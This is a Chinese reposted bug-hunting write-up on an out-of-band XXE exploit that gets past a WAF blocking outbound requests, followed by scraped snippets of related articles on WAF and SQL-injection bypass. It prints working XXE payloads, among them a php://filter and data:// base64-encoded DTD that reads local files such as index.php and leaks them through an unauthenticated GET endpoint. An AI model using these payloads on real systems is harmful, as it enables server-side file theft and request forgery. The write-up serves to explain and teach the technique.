挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用

几个星期以前,作者在某个OOB-XXE漏洞测试中遇到过这样一种场景:目标应用后端系统WAF防火墙阻挡了包含DNS解析在内的所有出站请求(Outgoing Request),但最终,通过利用php://filter//的封装协议,作者成功实现了OOB-XXE漏洞测试。以下是其分享:

在对目标应用的测试分析时,我偶然发现了其中一个路径调用了一个名为xml的参数,但其对应的XML数据值是加密的。之后,我发现该xml参数的XML数据在发送到HTTP请求前仅在客户端实行了加密,也就是说,其应用后端可能未设置对这些XML数据进行必要验证的措施,这样,我就想到能否修改这些XML数据以便注入XXE Payload。

接下来,首先我要找到加密XML数据的JavaScript函数,但却发现目标应用的JavaScript全被静态模块打包器WebPack打包且非常不具可读性和跟踪分析性。所以,要找到JavaScript加密函数是件麻烦事,之后,我想到了在Chrome浏览器工具中设置断点,在XML数据发送到JavaScript加密函数前对它进行修改。

这样一来,我就可以在其中加入外部实体(external entity)进行XML数据构造了,但当我把构造好的XML Payload发送后,目标应用好长时间才有响应”Error while parsing XML”。但当我把其中的外部实体(external entity)修改为 `http://localhost/` 后,目标应用却能及时无误的响应。这种情况,我认为目标应用环境中可能部署有WAF防火墙,它会把一些出站请求拒绝掉。之后,我又尝试了端口和DNS解析请求,但都没成功。

也就是说,现在我面前存在一个XXE漏洞,但是却无能为力。一般来说可能通过探测目标应用内网环境中开放的端口来实现XXE利用,但其WAF防火墙却阻挡了所有出站请求。由于其WAF防火墙未阻止本机用为外部实体,所以,我想找到目标应用公开具备的,不需cookie验证且使用GET参数的路径来实现对某些数据的更改或添加。而这也和目标应用的工作机制非常相符,因为它好多路径并未采用cookie验证和用户ID参数的形式来验证身份。

考虑到这一点,我就开始认真分析查找,最后聚集于一个路径http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,它会调用三个参数:sid、key和val,并把key和val保存到相应的会话ID账户中,而且我们通过访问该路径就可以获取这三个参数值。

所以,现在我就想构造一个向路径http://target/endpoint.php?sid=[session_id]&key=xxe&val=test发送GET请求的外部实体,之后看看该路径下的xxe和test值是否已经会发生添加更改,因此,我构造的XXE Payload如下,并把它执行了发送:

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">

]>

<paramlimits>

<component name="L1" min="2" max="100">&xxe;</component>

</paramlimits>

之后,当我来到 http://target/endpoint.php?sid=[session_id] 下,我发现sid值已经被添加更改,也就是说,目标应用服务器能正常获取上述实体,并会向提供的路径发送GET请求。如下:

现在思路就慢慢清晰了,至少可以证明其XXE漏洞是存在的,我想深入利用看看能否可读取到目标应用的一些本地文件。要读取本地文件,我们需要创建一个获取文件的参数实体,以及另一个调用该参数实体的实体,为此,我用到了外部文档类型定义(DTD)文件的调用,但问题还是一样,被WAF防火墙阻挡了出站的调用请求,部署在我服务器上的DTD文件不能被正常调用。

这样来说,还是防火墙在作怪,如何来绕过它呢?我想能否存在一种允许文件上传的路径,这样我就能上传我的构造DTD文件,但是,目标应用却根本没任何文件上传功能。一番倒腾之后,我差点放弃了,但是我想到目标应用是PHP架构的,那我想应该可以用php://封装协议的封装器去获取 data:// URI中的资源吧,这样不就能调用到我的DTD文件了吗?

所以,可以定义这样一种参数实体:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">

<!ENTITY % param1 ‘<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">‘>

然后把上述参数实体经base64编码后,利用php://封装协议来请求它,如下:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

当目标应用的XML解析器执行解析时,它会执行以下两个路径的实体解析:

php://filter/convert.base64-encode/resource=file:///D:/path/index.php

http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;

其中的convert.base64-encode是为了能对 index.php 文件内容更方便的获取。所以最终的XXE Payload为:

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;

]>

<paramlimits>

<component name="L1" min="2" max="100">&exfil;</component>

</paramlimits>

提交发送之后,来到目标路径http://target/endpoint.php?sid=[session_id]下,可以发现经base64编码的index.php文件内容被成功获取:

当然,深入利用之后就能用这种方法来读取一些敏感的本地文件了。

原文地址:https://www.cnblogs.com/0daybug/p/11571263.html

时间: 2024-08-30 06:29:09

挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用的相关文章

【转载i春秋】补天挖洞经验贴

转载自: 补天付费厂商漏洞挖掘小技巧 补天不收的漏洞 补天付费厂商漏洞挖掘小技巧 1.子域名收集 不要想着去撸主站,主站一出来几乎被人轮了个遍,跟大牛抢肉吃,难,放弃. 所以我们一般都是百度找子域名  例如www.xxxxx.com是主站,关键字 inurl:xxxxx.com.如果这样能找到不少子域名. 1.1 补天不收的漏洞 1.反射XSS 2.CSRF 3.目录遍历 4.二进制(据补天审核说,他们没人看的懂,没法审,所以不收) 5.密码处的验证码爆破 6.http.sys远程代码执行漏洞

挖洞经验之某次任意用户登录漏洞挖掘

今天测试时发现一个任意用户登录漏洞,简单记录一下(em...写得真的很简单的那种!) 登录成功后的一个请求,里面包含了当前登录用户的用户名和user_id: 后面紧接着一个包含敏感信息的数据包,如下: 可以看到返回信息中包含了当前用户的密码MD5,且可以正常解密.更换为其他的user_id: 可以看到,返回了其他user_id的密码,但是,正常情况下,只有在成功登录一个用户后才能获取用户的user_id,所以要想登录他人账户,必须要知道user_id值对应的用户名.....,既然系统会有一个返回

1、struts2漏洞利用小结

从今天开始,打算将自己的挖洞历程一点一滴给记录下来,从17年开始接触web渗透,学完了cracer17年的教程,看过网易公开课,目前在安全牛课堂学习kali渗透测试.心里其实很感慨,学了很多,感觉会得太少,到现在挖洞经验仍然为0 (想哭)T_T! 偶尔会很迷茫,自己到底学了了什么呢,学而不会有何用!!! 这是一个新的开始,以练代学,由浅入深,特以此系列献给和我曾经一样犯过迷茫的孩子. 闲话不说,进入正题吧,这些文章我会定期完善和补充,希望大家伙可以多多交流. 第一站,让我们来研究一下struts

【干货】记一次WAF对抗赛详解&amp;全方位绕过WAF

0x01 preview 上个星期参加了某巨头厂商承办的挑战赛,比赛周期48小时,题目是成功渗透在安全宝保护下的五个通用cms靶场,其中包括论坛.商城.资源网站等 从靶场布置来看很明显是在测试安全宝对于几种不同类型cms的对攻击的防御能力. 这样的比赛模式区别于常见的CTF线上模式稍有不同,实战味道较强.常规的CTF在Web题目上面主要考察的是漏洞挖掘和利用,难点一般凸显在发现难和利用 难.而此次靶场中的环境在网上都能找到相关公开漏洞,利用方式较简单,但是我对抗的目标不是存在漏洞的web应用,而

深入了解SQL注入绕过waf和过滤机制

知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料 0x00 前言 笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪.之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法.所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手

【转】深入理解SQL注入绕过WAF和过滤机制

原文 http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对W

如何使用SQLMAP绕过WAF

WAF(web应用防火墙)逐渐成为安全解决方案的标配之一.正因为有了它,许多公司甚至已经不在意web应用的漏洞.遗憾的是,并不是所有的waf都是不可绕过的!本文将向大家讲述,如何使用注入神器SQLMap绕过WAFs/IDSs. svn下载最新版本的sqlmap svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev 我们关注的重点在于使用tamper脚本修改请求从而逃避WAF的规则检测.许多时候,你需要联合使用多个ta

black-hole《杂谈如何绕过WAF》阅读笔记

0×01开场白 这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家. 可能在大家眼中WAF(Web应用防火墙)就是"不要脸"的代名词.如果没有他,我们的"世界"可能会更加美好.但是事与愿违.没有它,你让各大网站怎么活.但是呢,我是站在你们的这一边的,所以,今天我们就来谈谈如何绕过WAF吧.之所以叫做"杂谈",是因为我在本次演讲里,会涉及到webkit.nginx&apache等.下面正式开始:) 0×02直视WAF: 作为

深入理解SQL注入绕过WAF与过滤机制

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对WAF并不太了解,因此趁此机会科普一下并查阅了一些绕过WAF的方法.网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,